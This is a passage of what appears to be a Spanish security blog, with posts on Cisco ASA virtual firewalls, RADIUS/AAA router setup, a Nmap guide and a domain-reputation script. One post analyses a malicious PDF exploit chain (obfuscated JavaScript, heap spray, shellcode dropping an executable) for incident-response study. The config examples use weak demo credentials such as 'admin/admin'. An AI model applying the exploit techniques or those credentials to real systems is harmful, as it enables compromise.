Apache: guardar peticiones POST en los logs

De un tiempo a esta parte muchos de los ataques que sufren los portales web se materializan en peticiones POST. Inyecciones SQL, inclusión de ficheros remotos o envenenamiento de parámetros son sólo algunos de los ataques en los que intervienen peticiones POST.

El problema es que por regla general la información de las peticiones POST no se guarda en los logs, por lo que al hacer un análisis forense a un equipo atacado, generalmente nos falta información para poder esclarecer el origen del compromiso o la información que se ha podido ver comprometida.

Por ello vamos a ver, centrados en el servidor web Apache, las posibilidades que existen para guardar el contenido de las peticiones POST que se hacen a nuestro servidor web.

[Read more…]

Firewalls Virtuales

Actualmente, lo habitual en una organización es disponer de un firewall/cluster y mediante el uso de vlans, ir creando nuevos segmentos dependiendo del crecimiento de la red, lógicamente siempre que el sistema a nivel de procesamiento no se vea afectado. No obstante, puede darse el caso de empresas que den servicio a múltiples clientes con el mismo firewall, de forma que se quiera diferenciar cada cliente de forma unívoca. Para ello, cada vez más aparecen en el mercado soluciones de firewalls virtuales y como casi siempre, el uso de una funcionalidad lleva asociada la licencia correspondiente.

Para este post, vamos a crear un firewall virtual en un dispositivo Cisco ASA 5550, no obstante, fabricantes como Fortinet disponen de soluciones similares.

Centrándonos en nuestro sistema, podemos crear múltiples firewalls virtuales llamados contextos, donde cada contexto es independiente del resto, y dispone de su propia política de seguridad, interfaces, usuarios o rutas, aunque hay otras funcionalidades que no vienen soportadas, como VPN o protocolos de enrutamiento dinámico (parece que en versiones actuales mejoran considerablemente estas limitaciones), no obstante, para nuestro caso, será suficiente.

Existen tres tipos de contexto:

  • system: el contexto raíz donde el administrador gestiona el resto de contextos del sistema, interfaces, recursos, etc.
  • admin: igual que cualquier otro contexto pero donde el administrador tiene permisos para acceder a otros contextos.
  • normal: una partición del firewall donde sólo se puede acceder a la información del propio contexto.

En nuestro ejemplo, partimos de un firewall sin configuración previa, si no lo fuera, deberíamos realizar una copia de seguridad previa. Una vez conectados al sistema, debemos asegurarnos de cuantos firewalls virtuales podemos crear con la licencia disponible:

ciscoasa# show version

Licensed features for this platform:                                                                                                    
Maximum Physical Interfaces  : Unlimited                                                                                                
Maximum VLANs                : 250                                                                                                      
Inside Hosts                 : Unlimited                                                                                                
Failover                     : Active/Active                                                                                            
VPN-DES                      : Enabled                                                                                                  
VPN-3DES-AES                 : Enabled                                                                                                  
Security Contexts            : 5                                                                                                        
GTP/GPRS                     : Disabled                                                                                                 
VPN Peers                    : 5000                                                                                                     
WebVPN Peers                 : 2                                                                                                        
Advanced Endpoint Assessment : Disabled           

En éste caso, podríamos tener 5 contextos. Aclarado esto, procedemos con la configuración:

1. Configurar el sistema en modo múltiple:

ciscoasa# show mode                                                             
Security context mode: single  

ciscoasa(config)# mode  multiple                                                
WARNING: This command will change the behavior of the device                    
WARNING: This command will initiate a Reboot                                    
Proceed with change mode? [confirm]                                             
Convert the system configuration? [confirm]   

Tras reiniciar, podemos comprobar que el sistema ya aparece configurado en modo múltiple y dispone de configuración específica para el contexto admin:

ciscoasa# show  mode                                                            
Security context mode: multiple     

ciscoasa# show run
…...
class default                                                                   
  limit-resource All 0                                                          
  limit-resource ASDM 5                                                         
  limit-resource SSH 5                                                          
  limit-resource Telnet 5      
admin-context admin                                                             
context admin                                                                   
  config-url disk0:/admin.cfg 

2. Crear interfaces virtuales y asociarles identificador de vlan. Ya que vamos a usar vlans para confgurar contextos, necesitamos definir trunks en los switches

ciscoasa(config)# mac-address auto                                                                                                                        
ciscoasa(config)# interface GigabitEthernet0/1.1                            
ciscoasa(config-subif)# vlan 100
ciscoasa(config-subif)# no shutdown 
ciscoasa(config-subif)# interface GigabitEthernet0/2.1
ciscoasa(config-subif)# no shutdown
ciscoasa(config-subif)# vlan 200
ciscoasa(config-subif)# interface GigabitEthernet0/3.1
ciscoasa(config-subif)# no shutdown
ciscoasa(config-subif)# vlan 300

3. Definir los contextos (el contexto admin ya existe):

ciscoasa(config)# context Cliente1                                              
Creating context 'Cliente1'... Done. (2)                                        
ciscoasa(config-ctx)# description Contexto1   

4. Asignar visibilidad sobre las interfaces a cada contexto e indicar el fichero de configuración del mismo:

ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/1.1 inside            
ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/2.1 outside           
ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/3.1 dmz 
ciscoasa(config-ctx)# config-url disk0:/cliente1.cfg     

Una vez configurados los contextos, podemos cambiar a un contexto específico y configurarlo como si de un único firewall se tratara. Una vez nos situamos en el contexto, vemos que el prompt cambia:

ciscoasa# changeto context Cliente1                                     
ciscoasa/Cliente1# show running-config
...
interface inside                                                                
 no nameif                                                                      
 no security-level                                                              
 no ip address                                                                  
!                                                                               
interface outside                                                               
 no nameif                                                                      
 no security-level                                                              
 no ip address                                                                  
!                                                                               
interface dmz                                                                   
 no nameif                                                                      
 no security-level                                                              
 no ip address    

En este punto, podemos volver al contexto system para crear un nuevo contexto:

ciscoasa/Cliente1(config)# changeto system                                      
ciscoasa(config)# context Cliente2                                              
Creating context 'Cliente2'... Done. (3)                                                                                        
ciscoasa(config-ctx)# description Contexto2                                     
ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/1.2 inside            
ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/2.2 outside           
ciscoasa(config-ctx)# allocate-interface GigabitEthernet0/3.2 dmz    
  config-url disk0:/cliente2.cfg          

Una vez creado (no tiene asignadas vlans todavía), podemos ver los contextos definidos en el sistema:

ciscoasa(config)# show context                                                  
Context Name      Class      Interfaces           URL                           
*admin            default                         disk0:/admin.cfg              
 Cliente1         default    GigabitEthernet0/1.1, disk0:/cliente1.cfg          
                             GigabitEthernet0/2.1,                              
                             GigabitEthernet0/3.1                               
 Cliente2         default    GigabitEthernet0/1.2, disk0:/cliente2.cfg          
                             GigabitEthernet0/2.2,                              
                             GigabitEthernet0/3.2                               
                                                                                
Total active Security Contexts: 3    

Antes de entrar a configurar nuestro contexto, si nos fijamos en la salida del comando anterior, vemos que aparece una class definida por defecto. Esta opción es útil si queremos limitar los recursos de nuestros contextos, ya sea para evitar la saturación del sistema, o por que dispongamos de contratos gold/silver y en cada uno de ellos, limitemos los recursos contratados.

Tras esto, volvemos a configurar nuestro contexto de forma independiente:

                                
ciscoasa# changeto context Cliente1
ciscoasa/Cliente1(config)# hostname ASA1   
ciscoasa/Cliente1(config)# domain-name cliente1.com     
ciscoasa/Cliente1(config)# username admin password admin privilege 15                                                               
ciscoasa/Cliente1(config)# interface inside
ciscoasa/Cliente1(config-if)# nameif inside
ciscoasa/Cliente1(config-if)#  security-level 100
ciscoasa/Cliente1(config-if)#  ip address 172.18.0.200 255.255.255.0
ciscoasa/Cliente1(config-if)#  no shutdown
ciscoasa/Cliente1(config)# http server enable                                                    
ciscoasa/Cliente1(config)# crypto key generate rsa                              
ciscoasa/Cliente1(config)# show crypto key mypubkey  rsa                      
Key pair was generated at: 06:14:35 UTC Dec 17 2013                             
Key name:                                                      
 Usage: General Purpose Key                                                     
 Modulus Size (bits): 1024                                                      
 Key Data:                                                                      
                                                                                
  30819f30 0d06092a 864886f7 0d010101 05000381 8d003081 89028181 00d81874       
  dcca041b fbb5752c 5f5562f1 95422b42 e825e7b4 0b7b0aee 5cd90c04 e3302ddc       
  d9ee6c98 8664e8cd 2a3ad611 aa6b9d35 09cc81f3 48eccbe3 129d5483 17170a54       
  b1bef1ca b351ede5 86e3b26b 8f8619f9 b5d928c7 3b391861 8a1c72de 449e0fbc       
  b2acddee 3deaa0ff db55df25 4ba26f7b 6446972c e05e1839 52a09bad 45020301 0001 

ciscoasa/Cliente1(config)# http 172.18.0.150 255.255.255.255 inside             
ciscoasa/Cliente1(config)# ssh 172.18.0.150 255.255.255.255 inside                                                                      
ciscoasa/Cliente1(config)# wr mem

En este punto, ya podríamos acceder de forma remota al dispositivo y gestionarlo de forma independiente.

Desde el contexto admin, podemos ver la configuración de los contextos con el comando show running-config all context [name] y los recursos consumidos con show resource usage context [name]:

ciscoasa(config)#  show resource usage context Cliente1                                                                                 
Resource              Current         Peak      Limit        Denied Context                                                             
ASDM                        1            1          5             0 Cliente1                                                            
Conns                       2            9  unlimited             0 Cliente1                                                            
Hosts                       2            2  unlimited             0 Cliente1                                                            
Conns [rate]                1           11  unlimited             0 Cliente1    

También podemos guardar todos los cambios de los contextos:

ciscoasa(config)# wr mem all                                                                                                            
Building configuration...                                                                                                               
Saving context :           system : (000/003 Contexts saved)                                                                            
Cryptochecksum: 1eb2b9ed bf4f0170 628827cb cda1116d                                                                                     
                                                                                                                                        
1612 bytes copied in 3.300 secs (537 bytes/sec)                                                                                         
Saving context :            admin : (001/003 Contexts saved)                                                                            
Cryptochecksum: d367f98b 4f1280c6 2a3275f4 5e0df5eb                                                                                     
                                                                                                                                        
1313 bytes copied in 0.200 secs                                                                                                         
Saving context :         Cliente1 : (002/003 Contexts saved)                                                                            
Cryptochecksum: fc0590ec a8514229 3d126e92 4052d174                                                                                     
                                                                                                                                        
1572 bytes copied in 0.210 secs                                                                                                         
Saving context :         Cliente2 : (003/003 Contexts saved)                                                                            
Cryptochecksum: 81553ccc ebd17807 b63b1f4b ee30b125                                                                                     
                                                                                                                                        
1432 bytes copied in 0.200 secs                                                                                                         
[OK]              

Finalmente, podemos borrar contextos o volver a dejar el sistema en modo single:

ciscoasa(config)#  no context Cliente2                                                                                                  
WARNING: Removing context 'Cliente2'                                                                                                    
Proceed with removing the context? [confirm]                                                                                            
Removing context 'Cliente2' (3)... Done  


ciscoasa(config)# show  context                                                                                                         
Context Name      Class      Interfaces           URL                                                                                   
*admin            default                         disk0:/admin.cfg                                                                      
 Cliente1         default    GigabitEthernet0/1.1, disk0:/cliente1.cfg                                                                  
                             GigabitEthernet0/2.1,                                                                                      
                             GigabitEthernet0/3.1                                                                                       
                                                                                                                                        
Total active Security Contexts: 2            

Para restaurar el sistema, debemos recuperar la copia de seguridad previa si disponemos de ella, en otro caso, perderemos los cambios iniciales:

ciscoasa(config)# mode single                                                                                                           
WARNING: This command will change the behavior of the device                                                                            
WARNING: This command will initiate a Reboot                                                                                            
Proceed with change mode? [confirm]                                                                                                     
Security context mode: single    

Tras reiniciar, podremos borrar los ficheros generados anteriormente

                                                                                        
ciscoasa# delete disk0:/cliente1.cfg                                                                                                    
Delete filename [cliente1.cfg]?                                                                                                         
                                                                                                                                        
Delete disk0:/cliente1.cfg? [confirm]                                                                                                   
                                                                                                                                        
ciscoasa# delete disk0:/cliente2.cfg                                                                                                     
Delete filename [cliente2.cfg]?                                                                                                          
Delete disk0:/cliente2.cfg? [confirm]    

ciscoasa# delete disk0:/admin.cfg                                                                                                        
Delete filename [admin.cfg]?                                                                                                             
Delete disk0:/admin.cfg? [confirm]  

De esta forma, y salvado las limitaciones existentes, podríamos disponer de mútiples firewalls independientes para dar soporte a distintos clientes en una única plataforma.

Bastionado de sistemas Linux

(N.d.E. Hoy les traemos una presentación que nuestro compañero José Luis Chica, @bufferovercat, realizó en la MurciaLanParty’13, sobre el Bastionado de sistemas Linux. Esperamos que les guste.)

Liberada Guía Nmap 6 de CSIRT-cv y CCN

Hoy os traemos una guía muy interesante, realizada por @BufferOverCat y un servidor (@jovimon), que se ha liberado en los últimos días. La guía, fruto de la colaboración del Centro Criptológico Nacional (CCN) y el Centro de Seguridad TIC de la Comunidad Valenciana (CSIRT-cv), muestra de forma útil y práctica el funcionamiento de Nmap, detallando las técnicas que se pueden utilizar con este analizador de redes.

La guía se finalizó el verano del año pasado, poco tiempo después de la publicación de la versión 6.01 de Nmap, y ha estado hasta ahora únicamente disponible a través del portal del CCN para usuarios de administraciones públicas. Con la liberación de esta guía, única de este tipo que existe en Español, para el público general, se cubre un hueco que hasta ahora únicamente se podía cubrir con textos en otros idiomas.

Por si a estas alturas alguien aún no conoce Nmap, destacar que es sin lugar a dudas la herramienta más utilizada para realizar análisis de redes. Con ella se pueden realizar todo tipo de tareas, desde el descubrimiento de equipos y servicios disponibles en una red, a análisis avanzados que incluyan auditorías tanto a los equipos y servicios descubiertos como a cortafuegos o elementos intermedios de red que puedan interponerse en la comunicación. Es por ello que tanto por administradores de red como auditores de seguridad la utilizan de forma habitual.

La guía se compone de una completa documentación sobre las funcionalidades disponibles, que cubre las técnicas, tanto básicas como avanzadas, de: descubrimiento de equipos, análisis de puertos, optimización, rendimiento, etcétera, y se muestran procedimientos recomendados de actuación dependiendo de la tarea que se quiera realizar.

Además, se cubren dos de las principales mejoras que incluye esta versión: el soporte completo para IPv6 y el motor de scripting de Nmap (NSE: Nmap Scripting Engine), al que se dedica un tema entero. En este tema, se detalla el funcionamiento del motor y se dan directrices detalladas, tanto para entender los scripts ya creados como para crear nuevos scripts.

Aunque la versión actual de Nmap disponible para descarga es la 6.40, las diferencias con la versión de la guía son mínimas, ya que en los últimos tiempos los esfuerzos se centran en aumentar la cantidad de sistemas y servicios diferentes detectados, así como aumentar también las capacidades del motor NSE y el número de scripts que se ofrecen por defecto (actualmente más de 450).

La Guía Avanzada de Nmap está disponible en la sección de descargas del portal de CSIRT-cv y en la web del CCN.

Aplicación de AAA: Authentication, Authorization and Accounting (II)

Siguiendo con el post de ayer y tras ver las distintas funcionalidades que podemos configurar usando Radius como servidor AAA, podemos mejorar el sistema VPMS (Vlan Management Policy Server) visto en un post anterior, y poder autenticar los accesos a la red mediante el protocolo 802.1x, un estándar del IEEE para la autenticación de equipos conectados a una red mediante distintas tecnologías, de forma que se previene el acceso a la misma si la autenticación falla.

Para habilitar el protocolo 802.1x en nuestro dispositivo, primero debemos habilitar el servicio de forma global:


S2router(config)# dot1x system-auth-control

A continuación, activamos 802.1x en los puertos de acceso a red donde se conectan los usuarios. En nuestro caso simplemente una interfaz del router, pero seria extensible a un switch.


S2router(config)# interface fastethernet 0/1
S2router(config-if)# pae authenticator
S2router(config-if)# dot1x port-control auto

En este momento, el equipo conectado a dicho puerto perderá el acceso a red, posiblemente indicando un problema de autenticación.

El siguiente paso es configurar la autenticación 802.1x en el equipo cliente (en nuestro caso Windows XP), el cual, en estos momentos donde la autenticación ha fallado, podemos comprobar en el router que se encuentra en estado AUTHENTICATING ya que no se han proporcionado todavía las credenciales de acceso correctas:


S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Enabled
ReAuthPeriod = 120 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2

Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------

0023.8bd7.c2b3 AUTHENTICATING

Para configurar el equipo cliente, dentro de la configuración de las propiedades de red, seleccionamos la pestaña Autenticación (debemos tener activado el servicio de autoconfiguración de redes cableadas), activando la autenticación 802.1x y seleccionando desafío MD5 como método de autenticación, ya que no disponemos de infraestructura PKI en nuestra configuración.

Tras activar esta opción, aparece una ventana de autenticación de acceso a red propia de Windows, donde indicamos el usuario y contraseña definidos en el servidor radius (juanito). No es necesario indicar dominio.

Una vez el sistema valida las credenciales, podemos ver el equipo autenticado:


S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Disabled
ReAuthPeriod = 3600 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2

Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------

0023.8bd7.c2b3 AUTHENTICATED

Llegados a éste punto, el usuario final ya dispondría de acceso a la red con normalidad.

Esta solución es una medida de seguridad más a la hora de securizar nuestra red, y como siempre, debemos evaluar los pros y los contras de cada medida antes de ser implantada, tanto desde el punto de vista de seguridad, como desde el punto de vista de la transparencia de acceso del usuario, para que pueda realizar sus tareas diarias con normalidad.

Aplicación de AAA: Authentication, Authorization and Accounting

Recientemente, nuestro compañero Juan Manuel Sanz, ha publicado diversos artículos sobre el uso de servidores Radius como parte de una solución Wifi empresarial (ver I y II) Aparte de este uso, podemos usar Radius como servidor AAA (authentication, authorization and accounting) en nuestros dispositivos de red, como routers o switches, para el control de acceso a la misma. En este post, vamos a mostrar algunos ejemplos de uso de un servidor AAA.

El esquema de red que vamos a seguir es el siguiente:

En el esquema, podemos ver el router (Cisco 1800) como Autenticador, el servidor Freeradius como servidor de autenticación, y dos usuarios, un gestor de red que va a administrar el router por SSH y un usuario final del servicio.

Como pasos previos, vamos a configurar SSH como método de acceso al router y un usuario local del mismo (pepito):

router(config)# hostname  S2router                                                                                                                                    
S2router(config)# ip domain-name  s2grupo.es                                                                                                                          
S2router(config)# crypto key generate rsa 
## How many bits in the modulus [512]: 1024
S2router(config)# ip ssh time-out 60
S2router(config)# ip ssh authentication-retries 2
S2router(config)# aaa new-model
S2router(config)# line vty 0 4                                                                                                                                        
S2router(config-line)# transport input ssh    
S2router(config)# username pepito secret password    

Una vez configurado, podemos comprobar el acceso sin problemas al dispositivo:

PC$ ssh pepito@172.18.0.200
## Welcome ##
pepito@172.18.0.200's password: ******
S2router> 
 
S2router# show  ssh                                                                                                                                                   
Connection Version Mode Encryption  Hmac         State                 Username                                                                                      
0          2.0     IN   aes128-cbc  hmac-md5     Session started       pepito
0          2.0     OUT  aes128-cbc  hmac-md5     Session started       pepito                                                                                        
%No SSHv1 server connections running.     

Authentication

En nuestro primer punto, vamos a usar el servidor Radius (172.18.0.155) para autenticar los accesos por SSH para la gestión del router; para ello, usamos el usuario juanito definido previamente por Juan Manuel, en el fichero users de radius, no obstante, no usaremos certificados en nuestra configuración. Con el usuario ya definido, añadiremos un nuevo cliente al fichero clients.conf que se corresponderá con el router de nuestra infraestructura.

client 172.18.0.200 
{
secret = password
shortname = router
nasstype = cisco
}

A continuación, nos conectamos al dispositivo de red (por ejemplo mediante el usuario pepito) e indicamos que la autenticación va a usar el servidor radius. Para ello, seguimos los siguientes pasos:

1. Definimos el servidor radius:

S2router(config)# radius-server host 172.18.0.155 auth-port 1812 acct-port  1813 
S2router(config)# radius-server deadtime 15                                      
S2router(config)# radius-server key password   

2. Configuramos el método de autenticación. Es importante configurar varios métodos de autenticación por si no esta disponible alguno de ellos, no perder el acceso al dispositivo. En este caso, el segundo método de autenticación es la base de datos local del propio equipo:

S2router(config)# aaa authentication login USUARIOS group radius local   

3. Probamos el acceso desde la propia consola del dispositivo:

S2router#test aaa group radius juanito password  legacy   
                                                                                                         
Attempting authentication test to server-group radius using radius                                                                                                   
User was successfully authenticated.     

4. Configuramos el acceso al dispositivo por SSH autenticando mediante radius:

S2router(config)# line vty 0 4                                                                                                                                    
S2router(config-line)# login authentication USUARIOS        

5. Probamos el acceso desde el exterior por SSH:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******
S2router> 

S2router# show  ssh                                                                                                                                                   
Connection Version Mode Encryption  Hmac         State                 Username                                                                                      
0          2.0     IN   aes128-cbc  hmac-md5     Session started       juanito                                                                                       
0          2.0     OUT  aes128-cbc  hmac-md5     Session started       juanito                                                                                       
%No SSHv1 server connections running.    

Como se puede apreciar, accedemos correctamente y podemos ver log de radius para confirmarlo:

rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=17, length=99
        User-Name = "juanito"
        Reply-Message = "Password: "
        User-Password = "password"
        NAS-Port = 194
        NAS-Port-Id = "tty194"
        NAS-Port-Type = Virtual
        Calling-Station-Id = "172.18.0.150"
        NAS-IP-Address = 172.18.0.200
# Executing section authorize from file /etc/freeradius/sites-enabled/default
+- entering group authorize {...}
++[preprocess] returns ok
++[chap] returns noop
++[mschap] returns noop
++[digest] returns noop
[suffix] No '@' in User-Name = "juanito", looking up realm NULL
[suffix] No such realm "NULL"
++[suffix] returns noop
[eap] No EAP-Message, not doing EAP
++[eap] returns noop
[files] users: Matched entry juanito at line 205
++[files] returns ok
++[expiration] returns noop
++[logintime] returns noop
++[pap] returns updated
Found Auth-Type = PAP
# Executing group from file /etc/freeradius/sites-enabled/default
+- entering group PAP {...}
[pap] login attempt with password "password"
[pap] Using clear text password "password"
[pap] User authenticated successfully
++[pap] returns ok
# Executing section post-auth from file /etc/freeradius/sites-enabled/default
+- entering group post-auth {...}
++[exec] returns noop
Sending Access-Accept of id 17 to 172.18.0.200 port 1645
        Service-Type = NAS-Prompt-User
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 17 with timestamp +10
Ready to process requests.

En este punto, el usuario juanito accede sin problemas pero pepito no, ya que no dispone de usuario dado de alta en el servidor radius, no obstante, si detenemos el servidor radius, pepito accederá pero juanito no, ya que usaremos la base de datos local del dispositivo, por eso, es importante disponer de varios métodos de autenticación.

Habitualmente, el acceso a la gestión de los dispositivos suele basarse en usuarios locales debido a que no debería existir demasiadas personas que gestionen el dispositivo, no obstante, podríamos usar el mismo ejemplo para validar usuarios y grupos de acceso VPN.

Authorization

La siguiente funcionalidad sería, para usuarios autenticados, poder autorizar que acciones puede realizar, por ejemplo, que comandos tienen disponibles para ejecutar en el dispositivo. Para nuestro escenario inicial, el usuario juanito no dispone de privilegios de administración del dispositivo:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******
S2router> show running-config
           ^ 
% Invalid input detected at '^' marker.

No obstante podemos definir permisos para un nivel de privilegios concretos y luego indicarle al servidor radius que asocie a un usuario a dicho nivel.

Primero, definimos permisos para el nivel 3 de privilegios del sistema:

S2router(config)# privilege  exec  level  3 show running-config                                                                                                       
S2router(config)# privilege exec level 3 configure terminal                                                                                                           
S2router(config)# privilege configure all level 3 interface     

Con estos comandos, juanito, como operador de red, podría gestionar las interfaces de red y ver su configuración en el dispositivo. A continuación, definimos que el equipo use radius como sistema de autorización, al igual que hicimos en el apartado anterior:

S2router(config)# aaa authorization exec USUARIOS group radius local            

Finalmente, lo asociamos el servidor de autorización a la conexión remota al dispositivo:

S2router(config)# line vty 0 4
S2router(config-ine )# authorization exec USUARIOS   

Una vez configurado el dispositivo, modificamos la definición del usuario juanito indicando parámetros adicionales para su autorización para que disponga de privilegios de nivel 3:

juanito Cleartext-Password := "password"
        Service-Type = NAS-Prompt-User,
        Cisco-AVPair += "shell:priv-lvl=3",

De forma que la próxima vez que accede al dispositivo, ya se le aplicarán los nuevos permisos configurados:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******

S2router# show  privilege 
Current privilege level is 3

S2router# show running-config
Building configuration...
-----

Como podemos ver, el prompt de usuario ha cambiado con respecto al punto anterior.

Accounting

La última opción es la de accounting. Personalmente, de las tres funcionalidades que hemos visto, ésta es la que menos he usado. También hay que tener en cuenta que hay algunos comandos en los dispositivos Cisco que no funcionan con servidores radius (por ejemplo el accounting de commands), sino que sólo se pueden configurar usando un servidor AAA tacacs+.

Para este apartado, la configuración será similar a la configurada anteriormente: hay que definir radius dentro de la configuración de accounting. Para nuestro ejemplo, definimos algunas opciones de accounting de acceso remoto:

S2router(config)# aaa accounting send stop-record authentication failure 
S2router(config)# aaa accounting update periodic 1
S2router(config)# aaa accounting exec USUARIOS start-stop group radius
S2router(config)# aaa accounting network USUARIOS start-stop group radius

A continuación, aplicamos accounting para las conexiones remotas:

S2router(config)#line vty 0 4
S2router(config-line)# accounting exec USUARIOS

Ahora, al conectar al dispositivo, se registra un log de accesos, donde podemos ver información de los accesos remotos como el login de usuario, hora de conexión, dirección IP origen, etc.

PC# more /var/log/freeradius/radacct/172.18.0.200/detail-20131204 

Wed Dec  4 11:31:04 2013
        Acct-Session-Id = "00000048"
        User-Name = "juanito"
        Acct-Authentic = RADIUS
        Acct-Status-Type = Start
        NAS-Port = 194
        NAS-Port-Id = "tty194"
        NAS-Port-Type = Virtual
        Calling-Station-Id = "172.18.0.150"
        Service-Type = NAS-Prompt-User
        NAS-IP-Address = 172.18.0.200
        Acct-Delay-Time = 0
        Acct-Unique-Session-Id = "245d0d9d5afc1a35"
        Timestamp = 1386153064
        Request-Authenticator = Verified

Una solución de accounting sería útil por ejemplo, en un router con funcionalidades de gateway de voz, para llevar registro de llamadas y poder realizar una facturación posterior.

Análisis y extracción de PDF.Exploit/CVE-2013-5065

Recientemente se informó de una vulnerabilidad 0-day en el kernel de Windows XP que estaba siendo explotada activamente. Esta vulnerabilidad estaba siendo aprovechada utilizando código malicioso dentro de un archivo PDF, que se apoyaba en otra vulnerabilidad para comprometer el sistema.

Aprovechando que el otro día estuvimos viendo cómo utilizar peepdf para analizar y extraer código JavaScript y shellcode de un archivo PDF malicioso, voy a describir en este artículo el análisis que realicé de este archivo con peepdf y otras herramientas utilizadas hasta extraer el exploit que está siendo utilizado en la última vulnerabilidad para Windows XP.

Análisis del PDF
Lo primero que hacemos es abrir el archivo PDF y analizar su estructura

offsets…

y la estructura de árbol

A partir de la información anterior vemos que hay código JavaScript en el objeto 3, que se ejecuta automáticamente cuando se abre el archivo. Veamos qué pinta tiene:

Se observa que, efectivamente se trata de código JavaScript pero éste está ofuscado y, como veremos, nos va a costar descifrarlo un poco. Si guardamos el código en una variable y aplicamos el comando js_beatufy, obtendremos un código un poco más legible:

La verdad es que sigue igual de ofuscado y con peepdf no se ha podido extraer más información sobre él. Ahora utilizaremos Firebug para examinarlo aunque para poder mostrarlo correctamente vamos a hacer unas pequeñas modificaciones, por lo que lo volcamos a un fichero y seguimos con el análisis. La última línea de código parece una llamada a una función dentro de otra llamada a la misma función donde se le pasa ese código ininteligible, así que vamos a pasar ese código a la función Q.$() y la almacenamos en una variable arg1. A continuación, pasamos arg1 de nuevo a la misma función y la almacenamos en arg2. Esto lo hacemos para detener el código en tiempo de ejecución y poder ver qué es ese código desofuscado.

Abrimos el código con Firebug e insertamos un breakpoint en la última llamada y vemos el valor del código resultante:

El código, ahora sí, es legible y bastante explícito, ya que comienza definiendo una variable llamada “shellcode”. Además de la definición del shellcode, comprueba la versión de Adobe Reader (versiones 9, 10 u 11) para añadir el ROP adecuado para cada versión.

Posteriormente llama a la función heapSpray para, como su nombre indica, inyectar el shellcode en la memoria.

Finalmente llama a la función addToolButton de Adobe:

Buscando información sobre esta función, vemos que existe una vulnerabilidad en algunas versiones de Adobe Reader donde dichas funciones podrían ser aprovechadas para ejecutar código (ver CVE-2013-3346).

Aprovechando esa vulnerabilidad se consigue ejecutar el shellcode descrito en este código así que pasamos a examinar qué hace este shellcode.

Análisis con scdbg

Cargamos el código en scdbg y lo ejecutamos. Observamos que crea un archivo SHELLC~1.drop_0 y se queda a la espera, buscando un descriptor de archivo (esto ocurre porque intenta leer un archivo que no existe).

Pensamos que el archivo que podría estar buscando es el propio PDF, desde el que el exploit está siendo ejecutado, así que vamos a indicarle la ruta del archivo que tiene que abrir con el parámetro fopen, que devuelve como descriptor de fichero el archivo indicado.

Ahora vemos que deja otro archivo en la misma ubicación con el nombre SHELLC~1.drop_1 e intenta ejectuar otro archivo creado en C:\Documents and Settings\Administrador\Configuración local\Temp con el nombre 4.tmp (en este caso). Este último está vacío por lo que entiendo que el que trata de ejecutar es SHELLC~1.drop_1 así que vamos a abrirlo para ver qué contiene y vemos que se trata de un ejecutable.

Este último archivo descargado es el exploit que aprovecharía la vulnerabilidad CVE/2013-5065. A partir de este punto tendríamos que analizarlo para ver cómo aprovecha la vulnerabilidad y qué trata de realizar.

Hay más información sobre el análisis de este archivo en los siguientes enlaces:
http://www.fireeye.com/blog/technical/cyber-exploits/2013/12/cve-2013-33465065-technical-analysis.html

http://www.invincea.com/2013/12/e-k-i-a-adobe-reader-exploit-cve-2013-3346-kernel-ndproxy-sys-zero-day-eop/
http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/

Comprobación de la reputación Web para gestión de incidentes

A veces cuando nos enfrentamos a un incidente, alrededor de él hay demasiados dominios que comprobar como para hacerlo manualmente. Para poder manejarlos y hacer una discriminación en primera instancia, he desarrollado un pequeño script que comprueba la reputación de cada dominio utilizando la API de Web of Trust.

Web of Trust es un servicio que se usa para marcar páginas web dependiendo de su reputación. La reputación se basa en distintos factores. Uno de ellos depende de la presencia de malware, pero hay otros, como una puntuación basada en los votos de los usuarios.

Una de las cosas que más me gusta de la API de WoT es que devuelve diferentes códigos dependiendo de la razón por la que no tiene una buena reputación. Por ejemplo, si la razón por la que tiene mala reputación es debida a que el sitio contiene material para adultos, devolverá el código 401, mientras que si contiene malware, devolverá 101. Esto viene bien para gestionar algunos incidentes, ya que, en la mayoría de los casos, si un dominio tiene una mala reputación porque es una página para adultos, y sólo por eso, en una primera investigación, se podría dejar como un dominio legítimo.

Para usar el script, sólo necesitáis registraros en WoT, conseguir una clave de la API e introducir la clave en la línea:

WOT_API_KEY = "YOUR_OWN_API_KEY!!!"

Puedes encontrar el script en mi repositorio de Github.

Por último, vamos a probar el script. Para ello, necesitaremos un fichero con la lista de dominios que queremos comprobar. En el ejemplo utilizaremos un fichero que he llamado domains.txt y que contiene los siguientes dominios:

4chan.org
silurian.cn
securityartwork.es
mtgmadness.com

Para lanzar el script solo hay que pasarle el fichero con la lista de dominios a comprobar:

xgusix@ender:~$ python repcrawler.py domains.txt 
[*] mtgmadness.com
	Target: mtgmadness.com
[*] 4chan.org
	Target: 4chan.org
	Trustworthiness: Excellent [59]
	Child safety: Very Poor [53]
	[*] Categories:
		[403] Questionable Gruesome or shocking [14]
		[401] Negative Adult content [73]
		[501] Positive Good site [59]
[*] securityartwork.es
	Trustworthiness: Good [7]
	Target: securityartwork.es
	[*] Categories:
		[501] Positive Good site [7]
[*] silurian.cn
	Target: silurian.cn
	Trustworthiness: Very Poor [12]
	[*] Categories:
		[101] Negative Malware or viruses [30]

